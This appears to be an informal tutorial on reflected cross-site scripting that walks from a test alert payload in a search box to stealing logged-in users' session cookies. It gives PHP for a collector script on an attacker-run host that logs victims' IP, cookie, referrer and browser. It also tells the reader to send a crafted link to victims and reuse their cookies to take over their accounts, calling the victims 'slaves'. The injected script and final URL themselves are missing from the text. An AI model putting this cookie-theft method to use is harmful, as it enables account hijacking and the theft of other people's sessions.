XSS is possible because of insecure coding by a coder. By giving us a means to interact with a site (such as a search box, or posting a comment) and not securing it, they leave it vulnerable to code injection. Let’s give an example first, then I’ll explain. Here is an example site:
Now, we see that this site has a search box. Normally this search box is meant to handle normal queries, but lets see what happens when we try to inject some code. Type the following into the search box: <script>alert(“VULNERABLE”)</script>.
Now when you search for it, you’ll see an alert box pop up with the word ‘VULNERABLE’ in it. This means the search box is vulnerable to code injection, and is vulnerable to XSS. Now here’s why it works.
If you check the source code of the web page, you’ll see that the our query (the injection code) was directly echoed into the source, without filteration. Normally, this is okay because most search queries are normal words, but since it echoed our script directly into the source, our browser interprets it as if that script was a part of the overall webpage, and therefore executed it. Now normally, who cares if I can echo little alert boxes, right? Wrong. Especially because this site has a user database that can be compromised
There are a variety of ways to use XSS to grab cookies, I’ll go over one.
Now, suppose we’re gonna do an XSS attack on the site I posted at the begining. We need to have a place to store the cookies we get, so lets get some quick webhosting. We will need to make two files on our site, a text file, and a PHP file. Let’s pretend our site is poopsey.com. Now, we make a file called log.php and put the following code in:
$ip = $_SERVER[‘REMOTE_ADDR’];
$cookie = $_GET[‘cookie’];
$referer = $_SERVER[‘HTTP_REFERER’];
$browser = $_SERVER[‘HTTP_USER_AGENT’];
$redirect = $_GET[‘redirect’];
$data = “IP: ” . $ip . “n”
.”Cookie: ” . $cookie . “n”
.”Referrer: ” . $referer . “n”
.”Browser: ” . $browser . “nn”;
$log = “cookies.txt”;
$f = fopen($log, ‘a’);
This is some PHP code that will write the some information about the slave, such as the IP, browser, etc. along with the cookie into the second file we will make, called cookies.txt. Just make a text file called cookies.txt and leave it empty. I could go in depth with exactly what all this code means, but it’s better if you read up on PHP yourself, I can’t spoon-feed everything you know. You can read up on PHP here.
Now comes the fun part. We don’t need our own cookies, we need other users’ cookies. So we look at the first ever XSS vulnerability check we did on current.com. Look at it.
The part I bolded (%3Cscript%3Ealert%28%22VULNERABLE%22%29%3C%2Fscript%3E) is the code that we had entered (<script>alert(“VULNERABLE”)</script>). We replace this code with the following code:
Now the final URL looks like:
Now send this link to someone logged into the current.com site. When they click this link, it will take them to poopsey.com/log.php, write all their info, then redirect them back to current.com. Now all you have to do is take the slave’s cookie and replace your own cookie with the slave’s cookie. Then you have access to the slave’s account for some time, usually until the login session expires.
Now that I think about it, I never explained exactly what a cookie was, or how to replace your cookies with the slave’s. Oh well, I guess that means someone has to go Googling and pursue the information themselves
Thanks for reading, and I hope you learned something